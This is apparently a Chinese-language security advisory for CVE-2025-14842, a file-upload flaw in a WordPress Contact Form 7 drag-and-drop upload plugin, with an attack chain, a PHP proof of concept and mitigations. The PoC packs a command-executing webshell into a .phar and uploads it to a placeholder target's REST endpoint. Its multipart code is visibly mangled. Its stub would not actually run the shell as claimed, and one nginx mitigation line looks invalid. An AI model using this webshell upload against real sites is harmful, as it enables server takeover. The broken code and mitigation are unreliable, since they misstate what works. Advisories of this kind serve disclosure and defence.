IPBUF安全漏洞报告
English
CVE-2025-14842 CVSS 6.1 中危

CVE-2025-14842 WordPress Contact Form 7文件上传漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14842
漏洞类型
不安全文件上传,远程代码执行,存储型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Drag and Drop Multiple File Upload – Contact Form 7

相关标签

CVE-2025-14842WordPress插件漏洞文件上传漏洞远程代码执行存储型XSSContact Form 7不安全文件上传PHAR利用SVG XSS

漏洞概述

CVE-2025-14842是WordPress插件"Drag and Drop Multiple File Upload – Contact Form 7"中的一个高危安全漏洞。该插件用于为Contact Form 7联系表单添加拖拽多文件上传功能。漏洞源于插件未正确验证和限制上传文件类型,允许攻击者上传.php或.svg等危险文件。在1.3.9.2及之前的所有版本中,插件未能阻止.phar和.svg文件的上传。攻击者可以利用此漏洞上传包含恶意PHP代码的.phar文件,若服务器配置允许.phar文件作为PHP执行,则可实现远程代码执行(RCE)。此外,上传的.svg文件可包含恶意JavaScript代码,在特定条件下导致存储型跨站脚本攻击(XSS)。该漏洞无需认证即可利用,但需要用户交互(如访问包含恶意文件的页面),CVSS评分6.1,属于中等严重级别。

技术细节

该漏洞的根本原因在于文件上传验证机制不完善。插件在处理文件上传时,仅检查了常见的危险扩展名如.php、.phtml等,但遗漏了.phar(PHP归档文件)和.svg(可缩放矢量图形)文件类型。

对于.phar文件利用:攻击者可以构造包含恶意PHP代码的.phar文件上传到服务器。由于.phar文件本质上是PHP归档格式,服务器如果配置不当(如在nginx或apache中错误地将.phar作为PHP脚本处理),直接访问该文件将导致PHP代码执行,从而实现远程代码执行。攻击者可以利用此漏洞执行系统命令、读取敏感文件或进一步渗透系统。

对于.svg文件利用:SVG是一种XML格式的矢量图形,支持内嵌JavaScript代码。攻击者可以构造包含XSS payload的.svg文件上传到WordPress媒体库或可访问目录。当其他用户访问或浏览器渲染该SVG文件时,恶意JavaScript代码将执行,可窃取Cookie、会话令牌或进行其他恶意操作。

漏洞代码位于inc/dnd-upload-cf7.php文件的第108行和第1116行附近,文件类型检查逻辑存在缺陷,未能覆盖所有危险文件类型。

攻击链分析

STEP 1
步骤1: 侦察与目标识别
攻击者识别目标网站是否使用WordPress及Drag and Drop Multiple File Upload – Contact Form 7插件,通过版本探测确认版本小于1.3.9.3
STEP 2
步骤2: 构造恶意文件
攻击者创建包含恶意PHP代码的.phar文件(用于RCE)或包含XSS payload的.svg文件。.phar文件内嵌webshell或命令执行代码
STEP 3
步骤3: 文件上传
攻击者通过插件的文件上传接口(通常是/wp-json/dnd-cf7/v1/upload或类似端点)上传恶意文件。由于插件未正确验证.phar和.svg文件,上传成功
STEP 4
步骤4: 触发代码执行
对于.phar文件:攻击者直接访问上传的文件路径(如/wp-content/uploads/dnd-cf7/malicious.phar),服务器执行其中的PHP代码。对于.svg文件:诱骗管理员或用户访问该文件,浏览器执行内嵌的JavaScript代码
STEP 5
步骤5: 权限提升与持久化
通过RCE获取服务器shell后,攻击者可安装后门、窃取数据库凭据、修改网站内容或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-14842 PoC - Malicious .phar file upload * Target: Drag and Drop Multiple File Upload - Contact Form 7 plugin < 1.3.9.3 * Effect: Remote Code Execution via .phar file upload */ // Create malicious .phar file with PHP payload $phar = new Phar('malicious.phar'); $phar->startBuffering(); // Add a PHP file with web shell or command execution code $phar->addFromString('shell.php', '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'); // Set stub to execute when .phar is accessed $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->stopBuffering(); // Upload via WordPress plugin endpoint $upload_url = 'http://target-site.com/wp-json/dnd-cf7/v1/upload'; $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16)); $files = array( 'files' => array( 'name' => 'malicious.phar', 'type' => 'application/octet-stream', 'content' => file_get_contents('malicious.phar') ) ); // Construct multipart form data $body = ''; foreach($files as $key => $values) { $body .= "--$boundary\r "; $body .= "Content-Disposition: form-data; name=\"$key\"; filename=\"{$values['name']}\"\r "; $body .= "Content-Type: {$values['type']}\r \r "; $body .= $values['content'] . "\r "; } $body .= "--$boundary--\r\n"; // Send upload request $ch = curl_init($upload_url); curl_setopt_array($ch, array( CURLOPT_POST => true, CURLOPT_POSTFIELDS => $body, CURLOPT_HTTPHEADER => array( 'Content-Type: multipart/form-data; boundary=' . $boundary ), CURLOPT_RETURNTRANSFER => true )); $response = curl_exec($ch); curl_close($ch); echo "Upload Response: $response\n"; echo "Access uploaded file at: http://target-site.com/wp-content/uploads/dnd-cf7/malicious.phar?cmd=whoami\n"; ?>

影响范围

Drag and Drop Multiple File Upload – Contact Form 7 <= 1.3.9.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 在nginx配置中添加规则阻止.phar文件的PHP执行:location ~ \.phar$ { fastcgi_pass off; } 2) 在.htaccess中禁用SVG文件的脚本执行;3) 使用WordPress安全插件(如Wordfence)添加临时防护规则;4) 临时禁用文件上传功能直到完成升级;5) 对上传目录实施严格的访问控制,限制直接访问上传的SVG文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表